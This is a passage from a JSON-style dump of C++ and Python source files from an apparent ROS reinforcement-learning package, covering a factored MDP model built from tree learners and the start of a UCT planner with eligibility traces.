MultipleClassifiers(const MultipleClassifiers&);\n virtual MultipleClassifiers* getCopy();\n\n ~MultipleClassifiers();\n\n virtual bool trainInstances(std::vector<classPair> &instances);\n virtual bool trainInstance(classPair &instance);\n virtual void testInstance(const std::vector<float> &input, std::map<float, float>* retval);\n virtual float getConf(const std::vector<float> &s);\n \n /** Update measure of accuracy for model if we're using best model only */\n void updateModelAccuracy(int i, const std::vector<float> &input, float out);\n\n /** Initialize models */\n void initModels();\n\n /** Calculate kl divergence of the model's predicted probability distributions */\n float klDivergence(const std::vector<float> &input);\n\n /** Calculate the variance of the model's predictions of continuous values */\n float variance(const std::vector<float> &input);\n\n bool STDEBUG;\n bool PRED_DEBUG;\n bool ACC_DEBUG;\n bool CONF_DEBUG;\n bool COPYDEBUG;\n\n /** The ensemble of Classifier Models used. */\n std::vector<Classifier*> models;\n\nprivate:\n\n const int id;\n const int modelType;\n const int predType;\n const int nModels;\n const int mode;\n const int freq;\n float featPct;\n float expPct;\n const float treeThresh;\n const bool stoch;\n const bool addNoise;\n const float featRange;\n \n Random rng;\n\n std::vector<float> accuracy;\n int nsteps;\n std::vector<std::map<float, float> >infos;\n\n};\n\n\n#endif\n \n" }, { "alpha_fraction": 0.5587970614433289, "alphanum_fraction": 0.5700989365577698, "avg_line_length": 31.204030990600586, "blob_id": "e23d61000708c8fbd7a561360d17875d8b5be507", "content_id": "5fbe8d8af54e1328c6515df6a77750ab9def5c78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 25571, "license_type": "no_license", "max_line_length": 198, "num_lines": 794, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/FactoredModel.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** FactoredModel.cc\n Implements the FactoredModel class, which uses separate supervised learners to model each feature of an MDP.\n Please cite: Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n \\author Todd Hester\n*/\n\n#include \"FactoredModel.hh\"\n\n\nFactoredModel::FactoredModel(int id, int numactions, int M, int modelType,\n int predType, int nModels, float treeThreshold,\n const std::vector<float> &featRange, float rRange,\n bool needConf, bool dep, bool relTrans, float featPct, \n\t\t bool stoch, bool episodic, Random rng):\n rewardModel(NULL), terminalModel(NULL), \n id(id), nact(numactions), M(M), modelType(modelType),\n predType(predType), nModels(nModels),\n treeBuildType(BUILD_ON_ERROR), // build tree after prediction error\n treeThresh(treeThreshold), featRange(featRange), rRange(rRange),\n needConf(needConf), dep(dep), relTrans(relTrans), FEAT_PCT(featPct), \n stoch(stoch), episodic(episodic), rng(rng)\n{\n\n //cout << \"MDP Tree explore type: \" << predType << endl;\n MODEL_DEBUG = false; //true;\n COPYDEBUG = false;\n\n // percent of experiences to use for each model\n EXP_PCT = 0.55;//6; //0.4;\n\n // just to ensure the diff models are on different random values\n for (int i = 0; i < id; i++){\n rng.uniform(0, 1);\n }\n\n}\n\n\nFactoredModel::FactoredModel(const FactoredModel & m):\n rewardModel(NULL), terminalModel(NULL), \n id(m.id), nact(m.nact), M(m.M), modelType(m.modelType),\n predType(m.predType), nModels(m.nModels),\n treeBuildType(m.treeBuildType),\n treeThresh(m.treeThresh), featRange(m.featRange), rRange(m.rRange),\n needConf(m.needConf), dep(m.dep), relTrans(m.relTrans), FEAT_PCT(m.FEAT_PCT),\n stoch(m.stoch), episodic(m.episodic), rng(m.rng)\n{\n COPYDEBUG = m.COPYDEBUG;\n\n if (COPYDEBUG) cout << \"MDP Tree copy constructor\" << endl;\n MODEL_DEBUG = m.MODEL_DEBUG;\n EXP_PCT = m.EXP_PCT;\n nfactors = m.nfactors;\n\n\n if (m.outputModels.size() > 0){\n if (COPYDEBUG) cout << \" FactoredModel copy trees\" << endl;\n rewardModel = m.rewardModel->getCopy();\n if (m.terminalModel != NULL) terminalModel = m.terminalModel->getCopy();\n if (COPYDEBUG) cout << \" copy output trees\" << endl;\n outputModels.resize(m.outputModels.size());\n for (unsigned i = 0; i < m.outputModels.size(); i++){\n outputModels[i] = m.outputModels[i]->getCopy();\n }\n if (COPYDEBUG) cout << \" FactoredModel trees copied\" << endl;\n }\n if (COPYDEBUG) cout << \"FactoredModel copy complete \" << endl;\n}\n\nFactoredModel* FactoredModel::getCopy(){\n\n FactoredModel* copy = new FactoredModel(*this);\n return copy;\n\n}\n\n\nFactoredModel::~FactoredModel() {\n if (rewardModel != NULL) delete rewardModel;\n if (terminalModel != NULL) delete terminalModel;\n for (unsigned i = 0; i < outputModels.size(); i++){\n delete outputModels[i];\n }\n outputModels.clear();\n}\n\n\n\n// init the trees\nbool FactoredModel::initMDPModel(int nfactors){\n if (MODEL_DEBUG) cout << \"Init trees for each state factor and reward\" << endl;\n\n outputModels.resize(nfactors);\n\n bool simpleRegress = false;\n if (modelType == M5SINGLE || modelType == M5ALLSINGLE || modelType == LSTSINGLE)\n simpleRegress = true;\n\n // institute a model for each state factor, depending on model type\n for (int i = 0; i < nfactors; i++){\n if (modelType == C45TREE && nModels == 1){\n outputModels[i] = new C45Tree((id * (nfactors+1)) + i, treeBuildType, 5, M, 0, rng);\n if (i == 0){\n rewardModel = new C45Tree((id*(nfactors+1))+nfactors, treeBuildType,5, M, 0, rng);\n if (episodic) terminalModel = new C45Tree((id*(nfactors+1))+nfactors+1, treeBuildType,5, M, 0, rng);\n }\n }\n else if ((modelType == M5MULTI || modelType == M5SINGLE) && nModels == 1){\n outputModels[i] = new M5Tree((id * (nfactors+1)) + i, treeBuildType, 5, M, 0, simpleRegress, false, treeThresh *featRange[i], rng);\n if (i == 0){\n rewardModel = new M5Tree((id * (nfactors+1)) + nfactors, treeBuildType, 5, M, 0, simpleRegress, false, treeThresh *rRange, rng);\n if (episodic) terminalModel = new M5Tree((id * (nfactors+1)) + 1+nfactors, treeBuildType, 5, M, 0, simpleRegress, false, treeThresh, rng);\n }\n }\n else if ((modelType == M5ALLMULTI || modelType == M5ALLSINGLE) && nModels == 1){\n outputModels[i] = new M5Tree((id * (nfactors+1)) + i, treeBuildType, 5, M, 0, simpleRegress, true, treeThresh *featRange[i], rng);\n if (i == 0){\n rewardModel = new M5Tree((id * (nfactors+1)) + nfactors, treeBuildType, 5, M, 0, simpleRegress, true, treeThresh *rRange, rng);\n if (episodic) terminalModel = new M5Tree((id * (nfactors+1)) + 1+nfactors, treeBuildType, 5, M, 0, simpleRegress, true, treeThresh, rng);\n }\n }\n else if ((modelType == LSTMULTI || modelType == LSTSINGLE) && nModels == 1){\n outputModels[i] = new LinearSplitsTree((id * (nfactors+1)) + i, treeBuildType, 5, M, 0, simpleRegress, treeThresh *featRange[i], rng);\n if (i == 0){\n rewardModel = new LinearSplitsTree((id * (nfactors+1)) + nfactors, treeBuildType, 5, M, 0, simpleRegress, treeThresh *rRange, rng);\n if (episodic) terminalModel = new LinearSplitsTree((id * (nfactors+1)) + 1+nfactors, treeBuildType, 5, M, 0, simpleRegress, treeThresh, rng);\n }\n }\n else if (modelType == STUMP && nModels == 1){\n outputModels[i] = new Stump((id * (nfactors+1)) + i, 1, 5, M, 0, rng);\n if (i == 0){\n rewardModel = new Stump((id * (nfactors+1)) + nfactors, 1, 5, M, 0, rng);\n if (episodic) terminalModel = new Stump((id * (nfactors+1)) +1+ nfactors, 1, 5, M, 0, rng);\n }\n }\n else if (predType == SEPARATE && nModels > 1){\n outputModels[i] = new SepPlanExplore((id * (nfactors+1)) + i,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT,\n EXP_PCT,\n treeThresh *featRange[i], stoch, featRange[i], rng);\n if (i == 0){\n rewardModel = new SepPlanExplore((id * (nfactors+1)) + nfactors,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT, // remove this pct of feats\n EXP_PCT, treeThresh *rRange, stoch, rRange, rng);\n\tif (episodic){\n\t terminalModel = new SepPlanExplore((id * (nfactors+1)) +1+ nfactors,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT, // remove this pct of feats\n EXP_PCT, treeThresh, stoch, 1.0, rng);\n\t}\n }\n }\n else if (nModels > 1 || modelType == ALLM5TYPES){\n outputModels[i] = new MultipleClassifiers((id * (nfactors+1)) + i,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT,\n EXP_PCT,\n treeThresh *featRange[i], stoch, featRange[i], rng);\n if (i == 0){\n rewardModel = new MultipleClassifiers((id * (nfactors+1)) + nfactors,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT, // remove this pct of feats\n EXP_PCT, treeThresh *rRange, stoch, rRange, rng);\n\tif (episodic){\n\t terminalModel = new MultipleClassifiers((id * (nfactors+1)) +1+ nfactors,\n modelType, predType,\n nModels, treeBuildType, 5,\n FEAT_PCT, // remove this pct of feats\n EXP_PCT, treeThresh, stoch, 1.0, rng);\n\t}\n }\n } else {\n cout << \"Invalid model type for MDP TREE\" << endl;\n exit(-1);\n }\n\n }\n\n return true;\n\n}\n\n\n// update all trees with multiple experiences\nbool FactoredModel::updateWithExperiences(std::vector<experience> &instances){\n if (MODEL_DEBUG) cout << \"FactoredModel updateWithExperiences : \" << instances.size() << endl;\n\n bool changed = false;\n if (outputModels.size() == 0){\n nfactors = instances[0].next.size();\n initMDPModel(instances[0].next.size());\n }\n\n // make sure size is right\n if (outputModels.size() != instances[0].next.size()){\n if (MODEL_DEBUG)\n cout << \"ERROR: size mismatch between input vector and # trees \"\n << outputModels.size() << \", \" << instances[0].next.size() << endl;\n return false;\n exit(-1);\n }\n\n // separate these experience instances into classPairs\n std::vector<std::vector<classPair> > stateData(outputModels.size());\n std::vector<classPair> rewardData(instances.size());\n std::vector<classPair> termData(instances.size());\n\n // count non-terminal experiences\n int nonTerm = 0;\n for (unsigned i = 0; i < instances.size(); i++){\n if (!instances[i].terminal)\n nonTerm++;\n }\n for (unsigned i = 0; i < outputModels.size(); i++){\n stateData[i].resize(nonTerm);\n }\n int nonTermIndex = 0;\n\n for (unsigned i = 0; i < instances.size(); i++){\n experience e = instances[i];\n\n std::vector<float> inputs(e.s.size() + nact);\n\n for (unsigned k = 0; k < e.s.size(); k++){\n inputs[k] = e.s[k];\n }\n // convert to binary vector of length nact\n for (int k = 0; k < nact; k++){\n if (e.act == k)\n inputs[e.s.size()+k] = 1;\n else\n inputs[e.s.size()+k] = 0;\n }\n\n // convert to rel\n if (relTrans)\n e.next = subVec(e.next, e.s);\n\n // reward and terminal models\n classPair cp;\n cp.in = inputs;\n cp.out = e.reward;\n rewardData[i] = cp;\n\n cp.out = e.terminal;\n termData[i] = cp;\n\n // add to each vector\n if (!e.terminal){\n for (unsigned j = 0; j < outputModels.size(); j++){\n classPair cp;\n cp.in = inputs;\n\n // split the outcome and rewards up\n // into each vector\n cp.out = e.next[j];\n stateData[j][nonTermIndex] = cp;\n\n // for dep trees, add this models target to next model's input\n if (dep){\n inputs.push_back(e.next[j]);\n }\n }\n nonTermIndex++;\n }\n\n }\n\n // build trees on all data\n for (unsigned k = 0; k < stateData.size(); k++){\n if (stateData[k].size() > 0){\n bool singleChange = outputModels[k]->trainInstances(stateData[k]);\n changed = changed || singleChange;\n }\n }\n\n bool singleChange = rewardModel->trainInstances(rewardData);\n changed = changed || singleChange;\n\n if (episodic){\n singleChange = terminalModel->trainInstances(termData);\n changed = changed || singleChange;\n }\n\n return changed;\n}\n\n\n// update all the trees, check if model has changed\nbool FactoredModel::updateWithExperience(experience &e){\n if (MODEL_DEBUG) cout << \"updateWithExperience \" << &(e.s) << \", \" << e.act\n << \", \" << &(e.next) << \", \" << e.reward << endl;\n\n if (MODEL_DEBUG){\n cout << \"From: \";\n for (unsigned i = 0; i < e.s.size(); i++){\n cout << e.s[i] << \", \";\n }\n cout << \"Action: \" << e.act << endl;;\n cout << \"To: \";\n for (unsigned i = 0; i < e.next.size(); i++){\n cout << e.next[i] << \", \";\n }\n cout << \"Reward: \" << e.reward \n\t << \" term: \" << e.terminal << endl;\n }\n\n bool changed = false;\n\n if (outputModels.size() == 0){\n nfactors = e.next.size();\n initMDPModel(e.next.size());\n }\n\n // make sure size is right\n if (outputModels.size() != e.next.size()){\n if (MODEL_DEBUG) cout << \"ERROR: size mismatch between input vector and # trees \"\n << outputModels.size() << \", \" << e.next.size() << endl;\n return false;\n exit(-1);\n }\n\n std::vector<float> inputs(e.s.size() + nact);\n for (unsigned i = 0; i < e.s.size(); i++){\n inputs[i] = e.s[i];\n }\n // convert to binary vector of length nact\n for (int k = 0; k < nact; k++){\n if (e.act == k)\n inputs[e.s.size()+k] = 1;\n else\n inputs[e.s.size()+k] = 0;\n }\n\n // convert to rel\n if (relTrans)\n e.next = subVec(e.next, e.s);\n\n // split the outcome and rewards up\n // and train the trees\n classPair cp;\n cp.in = inputs;\n\n // reward model\n cp.out = e.reward;\n bool singleChange = rewardModel->trainInstance(cp);\n changed = changed || singleChange;\n\n // termination model\n if (episodic){\n cp.out = e.terminal;\n singleChange = terminalModel->trainInstance(cp);\n changed = changed || singleChange;\n }\n\n // if not a terminal transition\n if (!e.terminal){\n for (unsigned i = 0; i < e.next.size(); i++){\n cp.in = inputs;\n cp.out = e.next[i];\n\n bool singleChange = outputModels[i]->trainInstance(cp);\n changed = changed || singleChange;\n\n // add this model's target to input for next model\n if (dep){\n inputs.push_back(e.next[i]);\n }\n }\n }\n\n if (MODEL_DEBUG) cout << \"Model updated, changed: \" << changed << endl;\n return changed;\n\n}\n\n\nfloat FactoredModel::getSingleSAInfo(const std::vector<float> &state, int act, StateActionInfo* retval){\n\n retval->transitionProbs.clear();\n\n if (outputModels.size() == 0){\n retval->reward = -0.001;\n\n // add to transition map\n retval->transitionProbs[state] = 1.0;\n retval->known = false;\n retval->termProb = 0.0;\n return 0;\n }\n\n // input we want predictions for\n std::vector<float> inputs(state.size() + nact);\n for (unsigned i = 0; i < state.size(); i++){\n inputs[i] = state[i];\n }\n // convert to binary vector of length nact\n for (int k = 0; k < nact; k++){\n if (act == k)\n inputs[state.size()+k] = 1;\n else\n inputs[state.size()+k] = 0;\n }\n\n // just pick one sample from each feature prediction\n std::vector<float>output(nfactors);\n for (int i = 0; i < nfactors; i++){\n\n // get prediction\n std::map<float, float> outputPreds;\n outputModels[i]->testInstance(inputs, &outputPreds);\n\n // sample a value\n float randProb = rng.uniform();\n float probSum = 0;\n for (std::map<float, float>::iterator it1 = outputPreds.begin(); it1 != outputPreds.end(); it1++){\n\n // get prob\n probSum += (*it1).second;\n\n if (randProb <= probSum){\n\toutput[i] = (*it1).first;\n\tbreak;\n }\n }\n }\n\n retval->transitionProbs[output] = 1.0;\n\n // calculate reward and terminal probabilities\n // calculate expected reward\n float rewardSum = 0.0;\n // each value\n std::map<float, float> rewardPreds;\n rewardModel->testInstance(inputs, &rewardPreds);\n\n float totalVisits = 0.0;\n for (std::map<float, float>::iterator it = rewardPreds.begin(); it != rewardPreds.end(); it++){\n // get key from iterator\n float val = (*it).first;\n float prob = (*it).second;\n totalVisits += prob;\n if (MODEL_DEBUG) cout << \"Reward value \" << val << \" had prob of \" << prob << endl;\n rewardSum += (prob * val);\n }\n\n retval->reward = rewardSum / totalVisits;\n if (MODEL_DEBUG) cout << \"Average reward was \" << retval->reward << endl;\n\n if (isnan(retval->reward))\n cout << \"FactoredModel setting model reward to NaN\" << endl;\n\n\n // get termination prob\n std::map<float, float> termProbs;\n if (!episodic){\n termProbs[0.0] = 1.0;\n } else {\n terminalModel->testInstance(inputs, &termProbs);\n }\n // this needs to be a weighted sum.\n // discrete trees will give some probabilty of termination (outcome 1)\n // where continuous ones will give some value between 0 and 1\n float termSum = 0;\n float probSum = 0;\n for (std::map<float, float>::iterator it = termProbs.begin(); it != termProbs.end(); it++){\n // get key from iterator\n float val = (*it).first;\n if (val > 1.0) val = 1.0;\n if (val < 0.0) val = 0.0;\n float prob = (*it).second;\n if (MODEL_DEBUG) cout << \"Term value \" << val << \" had prob of \" << prob << endl;\n termSum += (prob * val);\n probSum += prob;\n }\n\n retval->termProb = termSum / probSum;\n if (retval->termProb < 0 || retval->termProb > 1){\n cout << \"Invalid termination probability!!! \" << retval->termProb << endl;\n }\n if (MODEL_DEBUG) cout << \"Termination prob is \" << retval->termProb << endl;\n\n return 1.0;\n\n}\n\n\n// fill in StateActionInfo struct and return it\nfloat FactoredModel::getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval){\n if (MODEL_DEBUG) cout << \"getStateActionInfo, \" << &state << \", \" << act << endl;\n\n\n\n if (MODEL_DEBUG){\n for (unsigned i = 0; i < state.size(); i++){\n cout << state[i] << \", \";\n }\n // cout << endl;\n cout << \"a: \" << act << \" has \" << retval->transitionProbs.size() << \" outcomes already\" << endl;\n }\n\n retval->transitionProbs.clear();\n\n if (outputModels.size() == 0){\n retval->reward = -0.001;\n\n // add to transition map\n retval->transitionProbs[state] = 1.0;\n retval->known = false;\n retval->termProb = 0.0;\n return 0;\n }\n\n // input we want predictions for\n std::vector<float> inputs(state.size() + nact);\n for (unsigned i = 0; i < state.size(); i++){\n inputs[i] = state[i];\n }\n // convert to binary vector of length nact\n for (int k = 0; k < nact; k++){\n if (act == k)\n inputs[state.size()+k] = 1;\n else\n inputs[state.size()+k] = 0;\n }\n\n\n // get the separate predictions for each outcome variable from the respective trees\n // combine together for outcome predictions\n\n // combine together and put into StateActionInfo struct\n retval->known = true;\n float confSum = 0.0;\n\n if (nModels == 1 &&\n (modelType == M5MULTI || modelType == M5SINGLE ||\n modelType == M5ALLMULTI || modelType == M5ALLSINGLE ||\n modelType == LSTMULTI || modelType == LSTSINGLE ||\n modelType == ALLM5TYPES)){\n //cout << \"mdptree, combine deterministic outputs for each feature\" << endl;\n ///////////////////////////////////////////\n // alternate version -> assuming one model that gives one prediction\n ///////////////////////////////////////////\n std::vector<float> MLnext(nfactors);\n std::vector<float> inputCopy = inputs;\n for (int i = 0; i < nfactors; i++){\n // get single outcome for this factor\n std::map<float, float> outputPreds;\n outputModels[i]->testInstance(inputCopy, &outputPreds);\n if (needConf && dep) confSum += outputModels[i]->getConf(inputCopy);\n float val = outputPreds.begin()->first;\n if (relTrans) val = val + inputs[i];\n MLnext[i] = val;\n if (dep){\n inputCopy.push_back(val);\n }\n }\n //add this one\n retval->transitionProbs[MLnext] = 1.0;\n if (MODEL_DEBUG){\n cout << \"Final prob of outcome: \";\n for (int i = 0; i < nfactors; i++){\n cout << MLnext[i] << \", \";\n }\n cout << \" is \" << 1.0 << endl;\n }\n ////////////////////////////////////////////\n }\n\n else {\n //cout << \"mdp tree, combine stochastic predictions for each feature\" << endl;\n //////////////////////////////////////////////////////////////////////\n // Full version: assume possibly stochastic prediction for each model\n //////////////////////////////////////////////////////////////////////\n // grab predicted transition probs just once\n std::vector< std::map<float,float> > predictions(nfactors);\n if (!dep){\n for (int i = 0; i < nfactors; i++){\n outputModels[i]->testInstance(inputs, &(predictions[i]));\n }\n }\n\n ///////////////////////////////////////\n // get probability of each transition\n float* probs = new float[nfactors];\n std::vector<float> next(nfactors, 0);\n addFactorProb(probs, &next, inputs, retval, 0, predictions, &confSum);\n delete[] probs;\n\n /////////////////////////////////////////////////\n }\n\n // calculate expected reward\n float rewardSum = 0.0;\n // each value\n std::map<float, float> rewardPreds;\n rewardModel->testInstance(inputs, &rewardPreds);\n\n if (rewardPreds.size() == 0){\n //cout << \"FactoredModel setting state known false\" << endl;\n retval->known = false;\n return 0;\n }\n\n float totalVisits = 0.0;\n for (std::map<float, float>::iterator it = rewardPreds.begin(); it != rewardPreds.end(); it++){\n // get key from iterator\n float val = (*it).first;\n float prob = (*it).second;\n totalVisits += prob;\n if (MODEL_DEBUG) cout << \"Reward value \" << val << \" had prob of \" << prob << endl;\n rewardSum += (prob * val);\n\n }\n\n retval->reward = rewardSum / totalVisits;\n if (MODEL_DEBUG) cout << \"Average reward was \" << retval->reward << endl;\n\n if (isnan(retval->reward))\n cout << \"FactoredModel setting model reward to NaN\" << endl;\n\n\n // get termination prob\n std::map<float, float> termProbs;\n if (!episodic){\n termProbs[0.0] = 1.0;\n } else {\n terminalModel->testInstance(inputs, &termProbs);\n }\n // this needs to be a weighted sum.\n // discrete trees will give some probabilty of termination (outcome 1)\n // where continuous ones will give some value between 0 and 1\n float termSum = 0;\n float probSum = 0;\n for (std::map<float, float>::iterator it = termProbs.begin(); it != termProbs.end(); it++){\n // get key from iterator\n float val = (*it).first;\n if (val > 1.0) val = 1.0;\n if (val < 0.0) val = 0.0;\n float prob = (*it).second;\n if (MODEL_DEBUG) cout << \"Term value \" << val << \" had prob of \" << prob << endl;\n termSum += (prob * val);\n probSum += prob;\n }\n\n retval->termProb = termSum / probSum;\n if (retval->termProb < 0 || retval->termProb > 1){\n cout << \"Invalid termination probability!!! \" << retval->termProb << endl;\n }\n if (MODEL_DEBUG) cout << \"Termination prob is \" << retval->termProb << endl;\n\n // if we need confidence measure\n if (needConf){\n // conf is avg of each variable's model's confidence\n float rConf = rewardModel->getConf(inputs);\n float tConf = 1.0;\n if (episodic)\n tConf = terminalModel->getConf(inputs);\n\n //cout << \"conf is \" << confSum << \", r: \" << rConf << \", \" << tConf << endl;\n\n confSum += rConf + tConf;\n\n if (!dep){\n for (int i = 0; i < nfactors; i++){\n float featConf = outputModels[i]->getConf(inputs);\n confSum += featConf;\n //cout << \"indep, conf for \" << i << \": \" << featConf << endl;\n }\n }\n confSum /= (float)(state.size() + 2.0);\n } else {\n confSum = 1.0;\n }\n\n if (MODEL_DEBUG) cout << \"avg conf returned \" << confSum << endl;\n\n //cout << \"now has \" << retval->transitionProbs.size() << \" outcomes\" << endl;\n\n // return filled-in struct\n retval->known = true;\n return confSum;\n\n}\n\n\n\n// gets the values/probs for index and adds them to the appropriate spot in the array\nvoid FactoredModel::addFactorProb(float* probs, std::vector<float>* next, std::vector<float> x, StateActionInfo* retval, int index, std::vector< std::map<float,float> > predictions, float* confSum){\n\n // get values, probs etc for this index\n std::map<float, float> outputPreds = predictions[index];\n\n // get prediction each time for dep\n if (dep){\n outputModels[index]->testInstance(x, &outputPreds);\n }\n\n // sum up confidences\n if (dep && needConf){\n float conf = outputModels[index]->getConf(x);\n if (index > 0)\n (*confSum) += conf * probs[index-1];\n else\n (*confSum) += conf;\n }\n\n for (std::map<float, float>::iterator it1 = outputPreds.begin(); it1 != outputPreds.end(); it1++){\n // get key from iterator\n float val = (*it1).first;\n\n if (MODEL_DEBUG) cout << \"Prob of outcome \" << val << \" on factor \" << index << \" is \" << (*it1).second << endl;\n\n // ignore it if it has prob 0\n if ((*it1).second == 0){\n if (MODEL_DEBUG) cout << \"Prob 0, ignore\" << endl;\n continue;\n }\n\n if (dep){\n x.push_back(val);\n }\n\n if (relTrans)\n val = val + x[index];\n\n (*next)[index] = val;\n if (index == 0)\n probs[index] = (*it1).second;\n else\n probs[index] = probs[index-1] * (*it1).second;\n\n // if last one, lets set it in our transition prob map\n if (index == nfactors - 1 && probs[index] > 0.0){\n\n if (MODEL_DEBUG){\n cout << \"Final prob of outcome: \";\n for (int i = 0; i < nfactors; i++){\n cout << (*next)[i] << \", \";\n }\n cout << \" is \" << probs[index] << endl;\n cout << \" was \" << retval->transitionProbs[*next] << endl;\n cout << \" now \" << (retval->transitionProbs[*next]+probs[index]) << endl;\n }\n\n retval->transitionProbs[*next] += probs[index];\n continue;\n }\n\n // next factors\n addFactorProb(probs, next, x, retval, index+1, predictions, confSum);\n\n }\n}\n\nstd::vector<float> FactoredModel::addVec(const std::vector<float> &a, const std::vector<float> &b){\n //if (a.size() != b.size())\n // cout << \"ERROR: vector sizes wrong\" << endl;\n\n\n int smaller = a.size();\n if (b.size() < a.size())\n smaller = b.size();\n\n std::vector<float> c(smaller, 0.0);\n for (int i = 0; i < smaller; i++){\n c[i] = a[i] + b[i];\n }\n\n return c;\n}\n\nstd::vector<float> FactoredModel::subVec(const std::vector<float> &a, const std::vector<float> &b){\n //if (a.size() != b.size())\n // cout << \"ERROR: vector sizes wrong\" << endl;\n\n int smaller = a.size();\n if (b.size() < a.size())\n smaller = b.size();\n\n std::vector<float> c(smaller, 0.0);\n for (int i = 0; i < smaller; i++){\n c[i] = a[i] - b[i];\n }\n\n return c;\n}\n\n" }, { "alpha_fraction": 0.7770700454711914, "alphanum_fraction": 0.7770700454711914, "avg_line_length": 30.399999618530273, "blob_id": "291c25972a004c919db900f051e489445028423a", "content_id": "1bbe3b10a8739f39da0fb088278be984b60e4414", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "no_license", "max_line_length": 35, "num_lines": 5, "path": "/devel/lib/python2.7/dist-packages/rl_msgs/msg/__init__.py", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "from ._RLAction import *\nfrom ._RLEnvDescription import *\nfrom ._RLEnvSeedExperience import *\nfrom ._RLExperimentInfo import *\nfrom ._RLStateReward import *\n" }, { "alpha_fraction": 0.5590455532073975, "alphanum_fraction": 0.567432701587677, "avg_line_length": 24.696121215820312, "blob_id": "259de638584a6b0c8e7d359c63278e810268546d", "content_id": "df9e7d56aa3f765053cb76593087ced7517281b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 23846, "license_type": "no_license", "max_line_length": 193, "num_lines": 928, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/ETUCT.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ETUCT.cc\n Implements UCT with eligiblity traces. A modified version of UCT \n as presented in:\n L. Kocsis and C. Szepesvยดari, \"Bandit based monte-carlo planning,\" in\n ECML-06. Number 4212 in LNCS. Springer, 2006, pp. 282-293.\n \\author Todd Hester\n*/\n\n#include \"ETUCT.hh\"\n#include <algorithm>\n\n#include <sys/time.h>\n\n\nETUCT::ETUCT(int numactions, float gamma, float rrange, float lambda,\n int MAX_ITER, float MAX_TIME, int MAX_DEPTH, int modelType,\n const std::vector<float> &fmax, const std::vector<float> &fmin,\n const std::vector<int> &nstatesPerDim, bool trackActual,\n int historySize, Random r):\n numactions(numactions), gamma(gamma), rrange(rrange), lambda(lambda),\n MAX_ITER(MAX_ITER), MAX_TIME(MAX_TIME),\n MAX_DEPTH(MAX_DEPTH), modelType(modelType), statesPerDim(nstatesPerDim),\n trackActual(trackActual), HISTORY_SIZE(historySize),\n HISTORY_FL_SIZE(historySize*numactions)//fmax.size())\n{\n rng = r;\n\n nstates = 0;\n nactions = 0;\n lastUpdate = -1;\n seedMode = false;\n\n timingType = true;\n\n model = NULL;\n planTime = getSeconds();\n\n PLANNERDEBUG = false;//true;\n ACTDEBUG = false; //true;\n MODELDEBUG = false;//true;//false;\n UCTDEBUG = false; //true;//false;\n REALSTATEDEBUG = false;\n HISTORYDEBUG = false; //true; //false;\n\n featmax = fmax;\n featmin = fmin;\n\n if (statesPerDim[0] > 0){\n cout << \"Planner ETUCT using discretization of \" << statesPerDim[0] << endl;\n }\n if (trackActual){\n cout << \"ETUCT tracking real state values\" << endl;\n }\n cout << \"Planner using history size: \" << HISTORY_SIZE << endl;\n\n if (HISTORY_SIZE == 0){\n saHistory.push_back(0.0);\n }\n else {\n if (HISTORYDEBUG) {\n cout << \"History size of \" << HISTORY_SIZE\n << \" float size of \" << HISTORY_FL_SIZE\n << \" with state size: \" << fmin.size()\n << \" and numact: \" << numactions << endl;\n }\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n saHistory.push_back(0.0);\n }\n }\n\n // initStates();\n\n}\n\nETUCT::~ETUCT() {\n //cout << \"planner delete\" << endl;\n // clear all state info\n\n for (std::map<state_t, state_info>::iterator i = statedata.begin();\n i != statedata.end(); i++){\n\n // get state's info\n //cout << \" planner got info\" << endl;\n state_info* info = &((*i).second);\n\n deleteInfo(info);\n }\n\n featmax.clear();\n featmin.clear();\n\n statespace.clear();\n statedata.clear();\n //cout << \"planner done\" << endl;\n}\n\nvoid ETUCT::setModel(MDPModel* m){\n\n model = m;\n\n}\n\n// canonicalize all the states so we already have them in our statespace\nvoid ETUCT::initStates(){\n cout << \"init states\" << endl;\n std::vector<float> s(featmin.size());\n\n fillInState(s,0);\n}\n\nvoid ETUCT::fillInState(std::vector<float>s, int depth){\n\n // if depth == size, canonicalize and return\n if (depth == (int)featmin.size()){\n canonicalize(s);\n return;\n }\n\n // go through all features at depth\n for (float i = featmin[depth]; i < featmax[depth]+1; i++){\n s[depth] = i;\n fillInState(s, depth+1);\n }\n}\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\nvoid ETUCT::initNewState(state_t s){\n //if (PLANNERDEBUG) cout << \"initNewState(s = \" << s\n // << \") size = \" << s->size() << endl;\n\n // create state info and add to hash map\n state_info* info = &(statedata[s]);\n initStateInfo(s, info);\n\n // dont init any model info\n // we'll get it during search if we have to\n\n}\n\nbool ETUCT::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n // if (PLANNERDEBUG) cout << \"updateModelWithExperience(last = \" << &laststate\n // << \", curr = \" << &currstate\n // << \", lastact = \" << lastact\n // << \", r = \" << reward\n // << \", term = \" << term\n // << \")\" << endl;\n\n if (!timingType)\n planTime = getSeconds();\n\n // canonicalize these things\n state_t last = canonicalize(laststate);\n\n prevstate = last;\n prevact = lastact;\n\n // get state info\n previnfo = &(statedata[last]);\n\n // init model?\n if (model == NULL){\n cout << \"ERROR IN MODEL OR MODEL SIZE\" << endl;\n exit(-1);\n }\n\n if (MODELDEBUG){\n cout << \"Update with exp from state: \";\n for (unsigned i = 0; i < last->size(); i++){\n cout << (laststate)[i] << \", \";\n }\n cout << \" action: \" << lastact;\n cout << \" to state: \";\n for (unsigned i = 0; i < currstate.size(); i++){\n cout << currstate[i] 